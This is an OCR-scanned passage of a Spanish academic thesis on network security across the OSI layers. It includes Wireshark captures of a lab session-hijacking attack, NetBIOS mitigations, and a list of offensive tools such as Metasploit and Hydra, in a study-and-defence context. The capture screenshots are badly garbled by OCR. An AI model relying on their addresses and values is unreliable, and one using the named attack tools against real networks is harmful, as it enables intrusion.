12.939368495 172.217.2.¢6 192,168,100, 14 TCcp 60 443 -~ 7097 [ACK] Seq=1 Ack=2 Minain
| ~ -~
. .

» Frame 169: 138 bytes on wire (1840 bits), 138 Dytes captured (1948 bits) on interface &

v‘!lb«vn-l 11, Src: PesCompu 3a:24d: 00:27:38:2d: - f:73:04 (68:00:27:07:73:04)
|» Internet Protocol Version 4, |Src: 192.168.100.160, Dst: 192.168.100.10
¢ Transmission Control Protocol, Src Port: 45444, Dst Port: 4444, Seq: 3
|» Data (84 Dytes)

, Acki 3, Len: 04

| 66 08 27 67 13 64 60 86 27 3a 2d 14 08 08 45 16 ser waaey s 30354 -
| 00 74 7c 27 40 0D 46 86 T3 ac c® aB 04 a% c@ ab L1'e8. ... d.. .
D 7 #h0 <ive capture In progreses Packets: 470« Disglayed: 470 (100.0%)  Profie: Defautt

lustracion 3-17: “Ataque Robo de Sesiones, Contrasefias y Aplicaciones ”

3.5.5.1 Medios de Prevencion

3.5.5.1.1 Este tipo de ataque secuestra sesiones de un equipo de tal manera
que pueda acceder féacilmente, inclusive la instalacion de
cualquier aplicativo que permita la instalacion, modificacion o
eliminacién de archivos. Por este motivo es necesario
deshabilitar el puerto 137 (servicios de nombre),138 (servicios
de datagrama),139 (servicios de sesion) y 445 (servicios de
sesion) mediante la activacion del firewall con el que trabaje
nuestro sistema operativo, configurando las reglas necesarias de
filtrado y de esta manera impedir la publicacién de estos

protocolos susceptibles a través de internet. (VER ANEXO 8.5)
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3.5.5.1.2 Instalar en sistemas operativos Linux un firewall que se
encuentra vinculado al kernel Ilamado “iptables”, este
cortafuego puede soportar infinitas reglas permitiendo analizar
todo el trafico que circula por la red y de esta manera saber qué
informacion, datos, paquetes pueden o no ingresar al equipo; sin
embargo, para manipular este cortafuego es necesario tener

permisos privilegiados.

3.5.5.1.3 Cuando se realice la instalacion del sistema operativo en una
empresa, se debe configurar correctamente ya que este servicio
se debe habilitar para poder compartir los recursos a través de
una red local y por defecto también en Internet por lo cual es
necesario el uso de contrasefias en todos los archivos incluyendo
los compartidos de una computadora de tal manera que cuando

se realice un ataque, este sea un impedimento mas.

3.5.5.1.4 Actualmente, en la mayoria de empresas usan el sistema
Operativo “Windows” independientemente de sus versiones,
por tal motivo una solucion manual a este tipo de ataques es
desactivar la “NetBIOS” mediante: “Panel de Control, Redes e
Internet, Centro de Redes y Recursos Compartidos, Cambiar
configuracion del Adaptador, Propiedades, Protocolo de
Internet version 4 (TCP/IPv4), Propiedades, Opciones
Avanzadas, Pestafia (WINS) y Deshabilitamos NetBIOS de

TCP/IP”.
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Como se puede observar en la llustracion 3-18, la herramienta “Wireshark”
nos muestra que el ataque fue mitigado con éxito, ya que se puede observar que la
direccion 192.168.100.169 se esta dirigiendo a 192.168.100.181 lo que se deduce

que el protocolo 21 ya redirige tu trafico hacia esta direccion. (VER ANEXO 8.5)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ANI® 0REREG A «» 0= aa el
||‘Appl\,fa display filter ... <Ctrl-/> = '] Expression.. =+
No Time Source Destination Protocol  Length Info —
0.114956724 192.168.100.169 224.0.0.252 LLMNR 66 Standard query 0x72e4 A isatap
0.315401148 192.168.100.169 192.168.100.181 NBNS 92 Name query NB ISATAP<0O>
0.609164500 192.168.100.14 213.19.162.80 S5L 60 Continuation Data
0.736020930 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.9?7 Tell 192.168.1060
0.744742813 192.168.100.14 152.163.13.4 SSL 60 Continuation Data
0.780596685 213.19.162.80 192.168.100.14 TCP 66 443 — 36160 [ACK] Seq=1 Ack=2 Win=14175
0.809497210 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.1507 Tell 192.168.1
0.809519882 Pegatron_d4e:7a:ea Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.160
0.881918432 152.163.13.4 192.168.100.14 TCP 60 443 — 36257 [ACK] Seg=1 Ack=2 Win=48958
1.065068225 192.168.100.169 192.168.100.255 NBNS 92 Name query NB ISATAP<0O>
1.319881242 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.1507 Tell 192.168.1
1.319892504 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.100.9?7 Tell 192.168.108 -
[ »

» Frame 6: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface @

Ethernet II, Src: Pegatron_4e:7a:ea (38:60:77:4e:7a:ea), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
» Destination: Broadcast (ff:ff:ff:ff:ff:ff)
» Source: Pegatron de:7a:ea (38:60:77:4e:7a:ea)
Type: IPv4 (0x0800)
» Internet Protocol Version 4, Src: 192.168.100.169, Dst: 192.168.160.181
» User Datagram Protocol, Src Port: 137, Dst Port: 137
» NetBIOS Name Service

llustracion 3-18: “Ataque Robo de Sesiones, Contrasefias y Aplicaciones”

3.5.4.3 Resultados

Al realizar este ataque con su respectiva mitigacion se puede
observar en la llustracién 3-17 que la sesion fue robada y a partir de esta
vulnerabilidad puede tomar el control total de todo un sistema; sin
embargo, cuando se realiza la mitigacion a través de Firewalls (Untangle)
se puede observar que el trafico se redirige hacia una determinada

direccion establecida por el usuario como segura llustracion 3-18.
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4. CAPITULO IV: DESCRIPCION DEL MODELO OSI Y TCP

4.1 Definicion de las Capas de los Modelos de Referencia
En la actualidad el estudio de los modelos de protocolos es muy relevante debido
a que proporciona una referencia en comun para mantener una estabilidad y seguridad

entre sus tipos de protocolos y los servicios que proporciona a la red.

Estos modelos ademas de ser estdndares para mantener una comunicacion entre
computadoras, tiene por objetivo definir bien las funciones en cada nivel propuesto y

los procesos que se involucran para dicha comunicacion.

Por otra parte, en el estudio de las redes los dos modelos que son fundamentales
para permitir una excelente comunicacion independientemente de los protocolos que se
utilicen son “Modelo OSI” y “Modelo TCP/IP” por lo que entenderlos y conocerlos es

muy importante para facilitar su comprension e interrelacion.

Independientemente del modelo que se utilice, este se encuentra dividido en
niveles, los cuales se comunican con la capa mediamente superior e inferior de la misma

pila por medio de interfaces que representan a los protocolos.

4.1.1 Modelo de Referencia de Interconexion de Sistemas Abiertos (OSI)
Es un modelo de referencia definido por la 1ISO con el objetivo de establecer
estdndares que permitan la comunicacion de computadoras entre diferentes

fabricantes. Consta de siete niveles los cuales brinda servicio a la capa

inmediatamente superior apoyandose de la capa inferior.
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4.1.2 Modelo de Referencia de Control y Transmision / Protocolo de Internet (TCP/IP)

Es un modelo de referencia desarrollado por Vinton Cerf, proviene de dos
protocolos importantes TCP e IP, tiene como objetivo la comunicacion entre
computadoras de diferentes fabricantes. Consta de cuatro niveles que brindan

servicio a la capa inmediatamente superior apoyandose de la capa inferior.

Como se ha mencionado anteriormente, ambos modelos son usados para permitir
la comunicacion entre computadores basandose en el concepto de pila de protocolos
siendo su funcionalidad de capas parecida pero no igual. Sin embargo, existen ciertas
caracteristicas entre uno y otro que los hace completamente diferentes,

independientemente del propdsito con el que fueron creados.

El modelo OSI posee 7 niveles a diferencia del modelo TCP/IP con tan solo 4,
como se puede observar en la siguiente imagen, cada uno de los noveles se encuentran

bien definidos para cumplir con una funcion en especifico.

Modelo 0SI Modelo TCP/IP
7. Aplicacion
6. Presentacion Aplicacion
5. Sesion
4, Transporte Transporte
3. Red Internet
2. Enlace de datos

Acceso a la red

1. Fisica

lustracion 4-1: “Modelo OSI y Modelo TCP/IP” (Interpolados, 2017)
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4.2 Definicion de los Niveles de los Modelos de Referencia

El modelo TCP/IP se compone de 4 niveles los cuales cumplen con la misma

funcionalidad del modelo OSI, con la diferencia que en el nivel Fisico esta compuesto

por el nivel de enlace de datos, al igual que en la capa de aplicacién se encuentra

compuesto por la capa de sesion y presentacion.

Las unidades bésicas que trabajan en el modelo TCP/IP se comparan a las del

modelo OSI, es decir:

e Trama: Unidad que se usa en la capa de acceso a la red.

e Paquete: Unidad que se usa en la capa de Internet.

e Segmento: Unidad que se usa en la capa de Transporte

e Datos: Unidad que se usa en la capa de Aplicacion

MODELO OSlI

NIVELES
Fisico

Enlace de Datos

Red

Transporte

Sesion

Presentacion
Aplicacién

FUNCIONALIDAD
Encargada de la sefial y
transmision binaria

Encargada del
Direccionamiento  Fisico
(MACyLLC)

Determina una ruta
adecuada y
direccionamiento légico
Conexion  extremo a

extremos y fiabilidad de
datos

Comunicacion entre los
dispositivos de red
Representa a los datos
Brinda servicios de red a
las aplicaciones

NIVELES

Fisico

Internet

Transporte

Aplicacion

MODELO TCP/IP

FUNCIONALIDAD
Encargada de la sefial vy
transmision  binaria 'y  del
Direccionamiento Fisico (MAC y
LLC)

Determina una ruta adecuada y
direccionamiento légico

Conexidn extremo a extremos y
fiabilidad de datos

Comunicacion entre los
dispositivos de red, Representa a
los datos, brinda servicios de red a
las aplicaciones

Tabla 4-1: “Modelo OSI vs Modelo TCP/IP”’
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El proceso que realiza este modelo es descender por la pila de protocolos emisor
y escalar en la del receptor, cada nivel de la pila afiade datos y cabeceras a enviar a la
capa inferior de tal manera que se encapsulen para poder trabajar; sin embargo, cuando
los datos se reciben realiza un proceso inverso, es decir cuando la informacion asciende

se va eliminando las cabeceras correspondientes.

Cabecera
Capa de Aplicacién

Cabecera Cabecera

Capa de Transporte

Cabecera Cabecera Cabecera Datos

&

Capa de Cabecera Cabecera Cabecera Cabecera atos
acceso ala red
Envio | Recepcién

lustracion 4-2: “Proceso del Modelo TCP/IP” (Textoscientificos.com, 2006)

Capa de Internet

4.3 Definicion de los Protocolos de los Modelos de Referencia

El modelo TCP/IP como se puede observar es mucho mas sencillo que el modelo
OSI por lo que el conjunto de protocolos en los que se basa este modelo es el TCP e IP
siendo los primeros en definirse y los mas utilizados de esta familia. No obstante, no se
descarta a los demas protocolos pudiendo llegar a méas de 100, entre los mas importantes

tenemos a HTTP, FTP, Telnet, entre otros.

Ahora, TCP como se mencion0 anteriormente es uno de los protocolos mas
importantes ya que se encarga de las conexiones entre si para crear flujo de datos

garantizando que los datos sean entregados sin errores, ordenados y distinguir las
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aplicaciones en un mismo dispositivo; mientras que el protocolo IP se encarga de enviar
y recibir los datos en blogues, este envio se realiza mediante la eleccion de la mejor ruta

sin garantizar que llegue a su destino.

En fin, estos dos protocolos trabajan conjuntamente para resolver la trasmision de
datos que se genera en una red independientemente si es interna o externa, asegurando
que la informacion llegue correctamente, sin errores y por la mejor ruta. A continuacion,

detalla los protocolos mas usados en los modelos de referencia OSI 'y TCP/IP:

Modelo OSI Modelo TCP/IP
Niveles Protocolos Niveles Protocolos
Fisico Dispositivos fisicos que
conectan a una red PPP, ETHERNET,
HDLC,PPP,CSMA/CD, Fisico Controladores de
Enlace de
ETHERNET, Interfaz
Datos | AN,STP, VLAN.ARP,
IPv4, IPv6, IPSec, ARP, NAT, ICMP,
Red ICMP Internet RIP,
OSPF,EIGRP,BGP
Transporte UDP, TCP, TLS, SSL Transporte UDP, TCP
Sesion NetBIOS, RPC
Presentacion ANSI.1, XDR, MIME DNS, BOOTP,
DNS, Telnet, FTP, SSH, Aplicacion DHCP, SMTP,
., SMPT, POP, POP, IMAP, FTP,
Aplicacion o\ ivp HTTP, TFTP, HTTP
DHCP,IMAP

Tabla 4-2: “Protocolos del Modelo OSI vs Modelo TCP/IP”’
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MODELO OSI

Evita problemas de compatibilidad.

Divide y detalla sus niveles en 7 para facilitar
su compresion en partes mas simples.

Brinda al fabricante un conjunto de estandares
para  asegurar su  compatibilidad e
interoperabilidad.

El cambio que se realice en una capa no afecta
en las demas.

Simplifica su aprendizaje.

Permite a los distintos tipos de hardware y
software de red comunicarse entre si de una
manera totalmente definida.

Proporciona un lenguaje en comdn para
describir las funciones y capacidades de las
redes.

Realiza una comunicacién no orientada y
orientada a la comunicacion.

Tiende a definir claramente las diferencias
entre los servicios, las interfaces, y los
protocolos

4.4 Principales Ventajas del Modelo OSIly TCP/IP

MODELO TCP/IP

Se encuentra disefiado para enrutar.

Brinda abstraccion de capas, dividiéndose y
detallandose sus niveles en 4.

Es compatible con herramientas estandares
el cual utilizan para analizar su
funcionamiento en la red

Se usa en redes grandes y medianas
incluidas redes empresariales.

Es muy fiable en cuanto a seguridad

Imprescindible para el Internet por lo que
en la actualidad es el modelo maés utilizado.

Es flexible y se encuentra disponible para

todo tipo de sistemas operativos Yy
hardware.
Puede realizar una comunicacion sin

conexion, considerando en la capa de
transporte una comunicacion con 0 sin
conexion.
No tiene definida claramente las diferencias
entre los servicios, las interfaces, y los
protocolos

Tabla 4-3: “Protocolos del Modelo OSI vs Modelo TCP/IP”’
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MODELO OSI

Sus capas posee actividades que son
redundantes como el control de errores que
realiza cada capa
Es interpretado como “calidad pobre” debido
a la gran cantidad de codigo en su
implementacion.

Mala sincronizacion

Posee tecnologia desactualizada ya que su
modelo y protocolos son imperfectos

4.5 Principales desventajas del Modelo OSI'y TCP/IP

MODELO TCP/IP

Afecta el disefio de nuevas tecnologias ya que
no tiene definido claramente sus protocolos,
interfaces, servicios.

Posee el peor rendimiento para el uso de
servidores como por ejemplo en ficheros de
impresion

No distingue entre la capa fisica y la de enlace
de datos, de igual manera entre la de
aplicacion, sesion y presentacion.

Es dificil de configurar y mantener a pesar de
su reducido namero de capas

Tabla 4-4: “Principales Ventajas del Modelo OSI y TCP/IP”
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5. CAPITULO V: MODELO DE SEGUIRDAD APLICADA AL MODELO OSI

5.1 Seguridades en los Niveles del Modelo de Referencia de Interconexion de Sistemas

Abiertos

5.1.1 Capa Fisica

5.1.1.1 Existen soluciones innovadoras que sustituye a los Data Center, los “Cloud
Computing”. Esta es una manera Optima de almacenar, asegurar, garantizar,
acceder rapida y eficazmente a la informacion en tiempo real. Sin embargo,
el este recurso informético se basa desde aplicaciones hasta un centro de

datos a través del Internet y en un modelo de pago por uso.

5.1.1.2 Los medios guiados y no guiados a utilizarse dentro de LAN dependen de
la persona que estructure la red por lo cual deben realizar un andlisis
profundo del entorno fisico que va a rodear los equipos informaticos. Sin
embargo, se recomienda utilizar cables de fibra dptica ya que poseen
divisores oOpticos que hace imposible su interceptacion, aunque su
instalacién debe ser cuidadosa debido a que es un cable muy sensible que

puede romperse y ser inservible.

5.1.1.3 La seguridad en los medios guiados es muy simple, pero dificil de asegurar
al 100% , si la elecciones es un cable de tipo par trenzado se debe resguardar
que el cableado cumpla con las normativas y calidad necesaria como el CAT

517 o CAT 718,

17 CAT 5: Cable Par Trenzado de Categoria 5, descritos en el estandar EIA/TIA 568B
18 CAT 7: Cable Par Trenzado de Categoria 7, descritos en el estandar ISO/IEC 11801:2002
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5.1.1.4 Crear planos de red los cuales identifique claramente los canales hacia
donde se dirigen los cables de red, se debe incluir los puestos de trabajos

conectados, su numeracion, cada uno de sus extremos, entre otros.

5.1.1.5 Identificar los tramos méas complicados, es decir se debe analizar en la
empresa cuales son los canales de comunicacién mas importantes y brindar
mayor seguridad para que no exista ningun tipo de interceptacion ya sea de

tipo internos o externos.

5.1.1.6 Asegurar gque el suministro de energia sea estable y continuo mediante el
uso de sistemas UPS*®con el objetivo de que los dispositivos informaticos

no se apaguen de manera brusca en el caso de que existe cortes eléctricos.

5.1.1.7 Realizar periédicamente un inventario de los equipos fiscos de red
detallando su ubicacion, claves de acceso, permisos de acceso, habilitacion
de puertos de puertos, entre otros; teniendo en cuenta a los dispositivos que
necesiten mayor seguridad y resguardarlos en gabinetes de comunicaciones

que brinden mayores seguridades.

5.1.1.8 Instalar, actualizar y mantener dispositivos de control de acceso hacia la
empresa y dispositivos fisicos mediante el uso de tarjetas unicas para los

usuarios, sistemas biométricos, dactilares, 6pticos entre otros.

5.1.1.9 Cuando se realice modificaciones fisicas de la red, este debe estar

establecido y aprobado como un control de cambios, la cual debe

19 UPS: Sistema Ininterrumpido de Energia
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encontrarse bien documentada y controlada periodicamente después de su

implementacion.

5.1.1.10 Realizar backups periddicamente de la informacion que se considera
relevante para la empresa con el objetivo de evitar robo y/o perdida de la
misma. Se recomienda realizar esta accion mensualmente o dependiendo del

responsable de infraestructura.

5.1.1.11 Actualmente, para realizar cualquier tipo de backups se puede realizar una
nube privada la cual sea pagada y la informacion se encuentre disponible en

tiempo real.

5.1.1.12 Realizar un analisis profundo de la topologia de la red, ya que, al

implementarla, este impondra la l6gica de transmision de la informacion.

5.1.1.13 El crecimiento de la red en una empresa es inevitable, por lo que se debe
realizar estrategias de expansion, se debe tomar en cuenta que estas deben
ser bien disefiadas desde el inicio debido a que si realiza esta accion

incorrectamente ocasionara grandes problemas en el futuro.

5.1.1.14 Se debe auditar los puntos de acceso a la red, es decir que la puerta de

acceso a la red se encuentre correctamente documentado y justificado.

5.1.1.15 Implementar, desarrollar y aplicar politicas de seguridad dentro de la
empresa entre las mas importantes de identificacion y acceso, de

contrasefias, de accesos remotos, de manteniendo de la red, entre otros.
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5.1.1.16 Realizar planes de contingencia contra factores naturales los cuales
aseguren y prevengan cualquier tipo incidente fortuito. De ser posible

detallar con exactitud cada procedimiento a seguir.

5.1.1.17 Realizar constantes auditorias de seguridad fisica. En la actualidad existen
empresas especializadas las cuales brindan un servicio completo, ya que
buscan las mas grandes dificultades que puede tener una empresa hasta

posibles riesgos y poderlos prevenir en el futuro.

5.1.1.18 Capacitar y concientizar al personal para saber qué hacer en caso de
desastres naturales, de ser posible realizar cada cierto tiempo simulaciones

de evacuacion.

5.1.2 Capa de Enlace de Datos

5.1.2.1 Este nivel como tiene acceso a absolutamente toda la informacion de la red
es muy importante aplicar un alto nivel de seguridad, por tal motivo se debe

utilizar distintas herramientas como analizadores de protocolos.

a) Wireshark: Es el analizador de paquetes mas conocido a nivel mundial,
basicamente trabaja como un Sniffer que permite ver todo el trafico que
circula por la red en momentos especificos. ES open source y
multiplataforma. Por otra parte, permite capturar cookies, contrasefias,

direcciones IP, direcciones MAC, entre otros.

b) Dripcap: Es un nuevo analizador de protocolos para observar paquetes en

tiempo real. Su interfaz es moderna y amigable al usuario por lo que se
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podra encontrar rapidamente la informacion necesaria. Es gratuita,

multiplataforma y de cddigo abierto.

c) AppSniffing: Es un analizador de protocolos con una interface gréafica
amigable que permite diagnosticar rapidamente problemas y

anormalidades que pueda existir en la red.

d) Microsoft Message Analyzer: Permite capturar paquetes en una red local

en tiempo real o remota de tal manera que permita analizar el trafico de
los diferentes protocolos. Incluye capturar traficos realizados

anteriormente para un analisis en detalle.

Las herramientas mencionadas, son las mas utilizadas para realizar un analisis de
trafico en la red, tomando en cuenta que algunas de ellas no poseen una gran
estabilidad para ser utilizadas o no son multiplataforma como lo es Wireshark ya
que ademas se ser conocida mundialmente, se puede instalar en cualquier sistema
operativo, siendo amigable al usuario, facil de entender y utilizar. Aunque
Microsoft Message Analyzer no se queda atras, a pesar de solo ser para Windows
esta herramienta es muy completa incluso permite la evolucion de eventos del

sistema y otros mensajes de componentes Windows.

5.1.2.2 Realizar controles de direcciones de Hardware, es decir efectuar una lista
completa del direccionamiento IP y MAC con el objetivo de auditar
periodicamente estas direcciones para evitar falsificaciones o intrusiones de
factores externos. Las herramientas mas usadas para realizar este control es
IP Address Manager, la cual usa un escaneo activo para detectar, rastrear

subredes con sus respectivas direcciones. Sin embargo, en la actualidad
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Advanced IP Scanner aparte de escanear los dispositivos de red, asocia
direcciones IP con las direcciones MAC incluso presenta los fabricantes de

las tarjetas de red para dar acceso a carpetas compartidas y servidores FTP.

5.1.2.3 Establecer direcciones IP estaticas con sus respectivas MAC para evitar
ataques de suplantacién, esto se realiza manualmente independientemente

del nimero de direcciones que se encuentre en red.

5.1.2.4 Escoger correctamente los dispositivos que van a trabajar en la red, de
acuerdo al tipo de empresa que va a utilizarlo. Entre los mejores switchs
tenemos a TP-Link TL-SG108E (empresas pequefias), soporta el estandar
802.1Q VLAN, previene ataques de tipo “DHCP”, mientras que un switch
de tipo Cisco SG200-26 26 (empresas multinacionales) trabaja rapidamente
e incluye todo tipo de seguridades de protocolos a nivel de enlace de datos

y red, es recomendado como uno de los mejores switches de ethernet.

5.1.2.5 Realizar correctas configuraciones de los dispositivos de red, especialmente
de los switches, se debe blogquear todo tipo de acceso a puertos que no se
estan utilizando de esta manera se puede evitar cualquier tipo de escucha

que se encuentre en la red.

5.1.2.6 Crear y configurar correctamente las VIan?® ya que ayudan a segmentar la
red de tal forma que exista separacién de trafico y poder realizar un rapido

analisis de lo que sucede a cada momento en la red.

20VLan: Red de Area Local, no existe a nivel fisico, pero si ldgico.
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5.1.2.7 Diseiar las diferentes topologias de red mediante el uso de las herramientas
GNS3 O Cisco Tracer Packet, este mecanismo ayuda a simular como sera
implementada la red para en un futuro ponerla en marcha. Entre estas dos
herramientas, Cisco Tracer Packet posee caracteristicas y funcionalidades
muy parecidas a las de un switch real; sin embargo, se debe conocer bien el
funcionamiento y comandos para poder realizar cualquier configuracion.
Por otra parte, GNS3 es amigable al usuario y mas facil de manejar sus
caracteristicas debido a que no siempre se tiene que realizar configuraciones

manuales.

5.1.3 Capa de Red

5.1.3.1 En este nivel se direcciona correctamente la informacion a través de los
routers, por tal motivo es de vital importancia que la seguridad en estos
dispositivos sea muy alta con respecto al control adecuado de contrasefias,
su configuracién debe ir desde el acceso a Telnet, hasta la interfaz grafica

mediante http.

5.1.3.2 Realizar las configuraciones necesarias dentro del router, ya que muchas
veces los detalles de la configuracion no son empleados como los

subnetting, broadcast, puertos, rutas, entre otros.

5.1.3.3 Utilizar un firewall especializado y dedicado a la proteccion de los
dispositivos en red, entre las herramientas mas utilizadas es el propio
Firewall de Windows ya que mantiene controlada y segura a una maquina,
posee actualizaciones automaticas lo que hace al sistema operativo utilizar

los dltimos parches que libera Microsoft, por otra parte para el sistema
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operativo Linux en cualquiera de sus versiones tenemos la aplicacion
Untagle, la cual sirve como una pasarela de red de cddigo abierto
especializado para empresas pequerias ofreciendo desde bloqueos de correo

electrnico hasta Pishing?!.

5.1.3.4 Implementar el protocolo IPSec, ya que esta suite de protocolo brinda
funcionalidades de seguridad al protocolo IP para redes virtuales privadas o
VPN, se la puede implementar de dos maneras en modo tGnel®? y modo

transporte? .

5.1.3.5 Al igual que en la capa de enlace de datos, utilizar un analizador de
protocolos la cuales pueda devolver directamente las direcciones IP con sus
respectivas MAC. Sin embargo, se puede utilizar varias herramientas de
deteccidn de intrusos en una red como lo es Snort ya que posee un monitor
de deteccion de ataques y escaneo de puertos la cual ayuda a prevenir

cualquier tipo de ataque a través del registro y alerta del mismo.

5.1.3.6 Utilizar protocolo SSL?*y TLS? los cuales proporcionen una comunicacion
segura y confiable debido a que se basan en la funcionalidad de TCP
brindando confidencialidad e integridad en la informacion en los servidores

y paginas web.

21 pishing: Suplantar identidades que tiene como objetivo estafar y obtener informacién
22 Modo Tunel: Cada paquete IP se cifra y encapsula dentro de otro.

2 Modo Transporte: Los extremos de una comunican cifran el contenido del paquete
24 SSL: Secure Socket Layer

25 TLS: Transport Layer Security
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5.1.4 Capa de Transporte

5.1.4.1 Se debe realizar altos controles en el establecimiento de sesiones y puertos,
debido a que este nivel es el responsable de entregar el paquete o no
mediante los protocolos TCP o UDP. Para realizar un escaneo de puertos se
debe usar Zenmap ya que es una aplicacion completa que nos ayuda a
realizar un escaner profundo de una determina red o subred permitiendo
establecer los quipos activos y poder sacar la informacion necesaria. Sin
embargo, no descartamos otras herramientas Utiles como Nessus, Netcat,
Dmitry ya que permiten hacer un analisis completo de vulnerabilidades

incluyendo escaneo de puertos, direcciones IP, entre otros.

5.1.4.2 No usar siempre el protocolo UDP por que se necesita mayor control debido
a que no es orientado a conexion y es mas complicado regular el ingreso
seguro en la red. Por otra parte, el protocolo TCP se puede regular mediante
proxys y por medio de firewalls cerrando la mayoria de puertos que no

emplee.

5.1.4.3 Usar protocolos SSL, TLS o SSH las cuales permiten la proteccion de los
datos mediante técnicas de cifrado, estos deben ser considerados cuando se

establece una conexién y lograr administrar remotamente los dispositivos.

5.1.5 Capa de Sesion

5.1.5.1 Deshabilitar protocolos inseguros los cuales no sean requeridos en nuestra
red por ejemplo NetBIOS, mediante un anélisis profundo escaneo de puerto
utilizando herramientas mencionados anteriormente (Zenmap, Nmap,

Nessus).
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5.1.5.2 Evitar que personas externas o no autorizadas puedan inyectar datos en
sesiones activas e incluso puedan modificar tablas de rutas de tal manera que

pueda obtener informacion relevante.

5.1.5.3 Utilizar firewalls mediante la configuracion de reglas de filtrado de manera
que impida publicar protocolos susceptibles a enumeracion que no cumplan

con funciones publicas (NetBIOS).

5.1.5.4 Seleccionar correctamente los protocolos de autenticacion para garantizar

confiabilidad de cualquier contrasefia que pueda trasmitirse a traves de la red.

5.1.5.5 Realizar constates auditorias a los accesos remotos los cuales solo se permita
a personas autorizadas previamente con las autenticaciones establecidas por

la empresa.

5.1.5.6 Habilitar los servicios de auditoria a nivel de sistema operativo de tal forma

que se lleve un control rigido mediante la revision de los registros de log.

5.1.6 Capa de Presentacion

5.1.6.1 Utilizar protocolos seguros los cuales ayuden a cifrar los datos para que

puedan ser trasmitidos a la capa de aplicacion.

5.1.6.2 Utilizar diferentes técnicas de criptografia de tal forma que se lleve un
control adecuado de claves utilizadas por el usuario. Sin embargo, se pueden
crear politicas de seguridad de contrasefias mediante ciertos criterios de
complejidad como su longitud, sensibilidad a mayusculas o minusculas,

caracteres especiales, alfanumeéricos.
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5.1.6.3 Implementar politicas de bloqueo de contrasefias con el objetivo de que, si
existe cierto numero de intentos, automaticamente se blogquee la maquina y

alerte al administrador.

5.1.7 Capa de Aplicacion

5.1.7.1 Implementar Firewalls que brinden un alto nivel de seguridad (Untangle) y
permita el control del trafico en la red debido a que obligatoriamente tiene
que pasar por estas aplicaciones para saber si se niega o admite el transito

en la red.

5.1.7.2 Realizar filtros de acceso mediante el uso de los analizadores de trafico
como Wireshark ya que este permite incluso inspeccionar los paquetes de
los niveles superiores del modelo OSI (Sesion, Presentacion y Aplicacion)
de tal forma que se pueda observar el contenido de cada uno de los

protocolos utilizados.

5.1.7.3 Mantener los Firewalls actualizados y monitorizados dia a dia, con el
objetivo de que protejan al sistema frente a diversos ataques intencionales o

fortuitos.

5.1.7.4 Bloquear y redirigir el trafico de los puertos a través de Firewalls de manera

que lleguen a un destino seguro y no pueda ser interceptado en el camino.

5.1.7.5 Todas las aplicaciones que deseen ser instaladas dentro de una maquina,

deben pasar por varios filtros de seguridad, incluido tener permisos de
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administrador de modo que puedan funcionar correctamente, tomar en

cuenta que se debe solicitar actualizaciones periddicas de las mismas.
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6. CONCLUSIONES Y RECOMENDACIONES

6.1 Conclusiones

6.1.1 Utilizar una arquitectura en capas es indispensable para que dos sistemas se
puedan comunicar entre si independientemente de sus fabricantes, por tal
motivo el modelo OSI fue una de las primeros en desarrollarse definiendo bien
sus caracteristicas y funcionalidades en cada uno de sus niveles brindando

seguridad a traves de sus protocolos.

6.1.2 EI modelo OSI es la base fundamental para realizar estudios avanzados en
materia de redes de datos incluso de telecomunicaciones debido a que se
encuentra desarrollado en 7 niveles los cuales detallan una definicion simple y

concisa de cada protocolo y cudl es el funcionamiento en cada uno de ellos.

6.1.3 En ninguna infraestructura de red existe seguridad y garantia del 100% cuando
se comunican los dispositivos de red, debido a que la tecnologia avanza y
factores tanto internos como externos buscan agujeros de seguridad para

vulnerar cualquier sistema.

6.1.4 Dentro de los 7 niveles OSI, se concluye que el nivel fisico es el mas vulnerable
debido a que se encuentra expuesto a factores humanos que pueden ocasionar

dafios de manera fortuita o intencional ocasionando dafios graves.

6.1.5 Los 7 niveles del modelo OSI trabajan conjuntamente para brindar integridad,
confidencialidad e integridad de los datos; sin embargo, estos no solo trabajan
en una capa en especifico debido a que se valen de los niveles inferiores para

dar servicio a los niveles superiores.
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6.1.6 Un disefio de seguridad debe ser construido de acuerdo a las posibles
vulnerabilidades que pueda presentar la empresa, por este motivo se debe
realizar un andlisis general para encontrar cuales son los puntos débiles y
establecer medidas preventivas brindando soluciones efectivas frente a estos

problemas.

6.1.7 Mediante el analisis de los ataques y sus posibles mitigaciones que pueda tener
dentro de una red se concluye que se debe disefiar, implementar y mantener un
Sistema de Gestion de Seguridad de la Informacion para las empresas
independientemente de su tamafio, estas deben encontrarse enmarcadas dentro
de la norma ISO 27000 que establece las mejores practicas recomendadas para

una alta seguridad de la informacion.

6.1.8 El sistema operativo Kali Linux es una de las mejores herramientas que existe
a nivel de seguridad de informacién, debido a que es disefiada especialmente
para auditorias, mantenimiento y monitorizacion de redes. A pesar de ser
distribuida para GNU/Linux es muy Util para realizar analisis completos

encontrando el origen y destino de un ataque, vulnerabilidad.

6.1.9 Realizar un profundo anélisis de vulnerabilidad en cada una de las capas del
modelo OSI se puede determinar con varias herramientas como lo es Kali
Linux, Nessus, Wireshark que permite determinar detenidamente lo que ocurre

dentro de la red con sus posibles mecanismos de proteccion.

6.1.10 Las mejores herramientas dentro de Kali Linux que se pueden encontrar para

simular ataques y encontrar vulnerabilidades en los diversos protocolos hacia
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la red son Yersinia, Ettercap, Hydra, Wireshark, Zenmap, John the Ripper y

Metasploit Framework.

6.1.11 Kali Linux fue creada con objetivos educativos y éticos, sin embargo, muchos
hackers utilizan este sistema operativo para realizar ataques directos hacia la

red, gracias a que las aplicaciones son faciles de entender y aplicar.

6.1.12 Encontrar distintas medidas preventivas para cada uno de los ataques que se
pueden producir en la red es complicado, ya que cada uno de ellos se relacionan
entre si, solo basta entender el ataque y deducir por que se producen para

encontrar sus posibles soluciones.

6.2 Recomendaciones

6.2.1 Actualizar con frecuencia los sistemas operativos y softwares de los diferentes
dispositivos informaticos, prestando especial atencion en las actualizaciones que se
presenten ya que muchas veces estos pueden presentar fallas y ser aprovechadas
por atacantes informaticos. Se debe estar pendientes de las actualizaciones, parches
de seguridad recomendados por fabricantes para prevenir todo tipo de virus e

intrusiones no deseadas.

6.2.2 Utilizar firewall como dispositivo de seguridad de tal manera que pueda monitorear
